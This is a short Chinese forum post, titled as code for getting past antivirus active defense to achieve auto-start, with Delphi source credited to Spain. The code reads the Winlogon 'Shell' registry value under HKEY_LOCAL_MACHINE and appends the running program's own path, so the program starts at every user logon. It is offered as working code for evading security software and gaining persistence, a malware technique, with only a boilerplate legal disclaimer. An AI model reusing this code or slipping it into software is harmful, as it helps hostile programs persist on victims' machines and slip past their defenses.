HanDs
管理员

[Delphi文章] 过主动防御自启动代码 



The Code From : Spain

{注册表操作函数,SetClave设置键值,GetClave获得键值 Funciones de registro}
function SetClave(key:Hkey; subkey,name,value:string):boolean;
var
  regKey:hkey;
begin
  result:=FALSE;
  RegCreateKey(key,PChar(subkey),regKey);
  if RegSetValueEx(regKey,Pchar(name),0,REG_SZ,pchar(value),length(value)) = 0 then
    result:=TRUE;
  RegCloseKey(regKey);
end;function GetClave(key:Hkey; subkey,nombre:String):String;
var
  bytesread:dword;
  regKey: HKEY;
  valor:String;
begin
  Result:='';
  RegOpenKeyEx(key,PChar(subkey),0, KEY_READ, regKey);
  RegQueryValueEx(regKey,PChar(nombre),nil,nil,nil,@bytesread);
  SetLength(valor, bytesread);
  if RegQueryValueEx(regKey,PChar(nombre),nil,nil,@valor[1],@bytesread)=0 then
    result:=valor;
  RegCloseKey(regKey);
end;{主要函数}
procedure InicioShell;
var
  ClaveOriginal: string;
begin
  {获得当前键值 Guarda el valor actual}
  ClaveOriginal:=GetClave(HKEY_LOCAL_MACHINE,'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Shell');
  {检查是否应该写键 Comprueba que la ruta de nuestro ejecutable no se encuentra en ese valor}
  if ansipos(paramstr(0), claveoriginal)=0 then
  SetClave(HKEY_LOCAL_MACHINE,'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Shell',PChar(ClaveOriginal)+' "'+Paramstr(0)+'"');
end;


学习中请遵守法律法规,本网站内容均来自于互联网,本网站不负担法律责任
主动 防御 启动 代码
#1楼
发帖时间:2016-7-9   |   查看数:0   |   回复数:0
游客组
快速回复